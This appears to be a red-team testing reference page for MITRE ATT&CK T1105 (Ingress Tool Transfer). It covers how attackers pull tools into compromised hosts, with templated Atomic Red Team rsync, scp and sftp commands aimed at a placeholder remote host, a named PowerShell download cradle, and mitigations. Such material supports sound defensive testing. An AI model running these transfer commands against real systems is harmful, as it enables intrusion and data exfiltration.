T1105 Ingress Tool Transfer
High-Level Description
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).
On Windows, adversaries may use various utilities to download tools, such as copy, finger, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as curl, scp, sftp, tftp, rsync, finger, and wget. A number of these tools, such as wget, curl, and scp, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via certutil -hashfile).
Adversaries may also abuse installers and package managers, such as yum or winget, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows search-ms protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures).
Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.
Kill Chain Phase
- Command and Control (TA0011)
Platforms: ESXi, Linux, macOS, Network Devices, Windows
What to Check
- Identify if Ingress Tool Transfer technique is applicable to target environment
- Check ESXi systems for indicators of Ingress Tool Transfer
- Check Linux systems for indicators of Ingress Tool Transfer
- Check macOS systems for indicators of Ingress Tool Transfer
- Verify mitigations are bypassed or absent (2 known mitigations)
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: rsync remote file copy (push)
Utilize rsync to perform a remote file copy (push)
Supported Platforms: linux, macos Elevation Required: Yes
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
Dependencies:
- rsync must be installed on the machine
Atomic Test 2: rsync remote file copy (pull)
Utilize rsync to perform a remote file copy (pull)
Supported Platforms: linux, macos
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
Dependencies:
- rsync must be installed on the machine
Atomic Test 3: scp remote file copy (push)
Utilize scp to perform a remote file copy (push)
Supported Platforms: linux, macos
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Atomic Test 4: scp remote file copy (pull)
Utilize scp to perform a remote file copy (pull)
Supported Platforms: linux, macos
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Atomic Test 5: sftp remote file copy (push)
Utilize sftp to perform a remote file copy (push)
Supported Platforms: linux, macos
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Ingress Tool Transfer by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1105 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1031 Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
M1037 Filter Network Traffic
Use network filtering to block outbound traffic from compromised systems to unapproved external destinations. Restricting access to known, trusted IP addresses and protocols can prevent attackers from downloading malicious tools or payloads onto compromised servers after gaining initial access.
Detection
Detect Ingress Tool Transfers via Behavioral Chain
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| Ingress Tool Transfer technique applicable | High | Command And Control |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-300 | Channel Accessible by Non-Endpoint |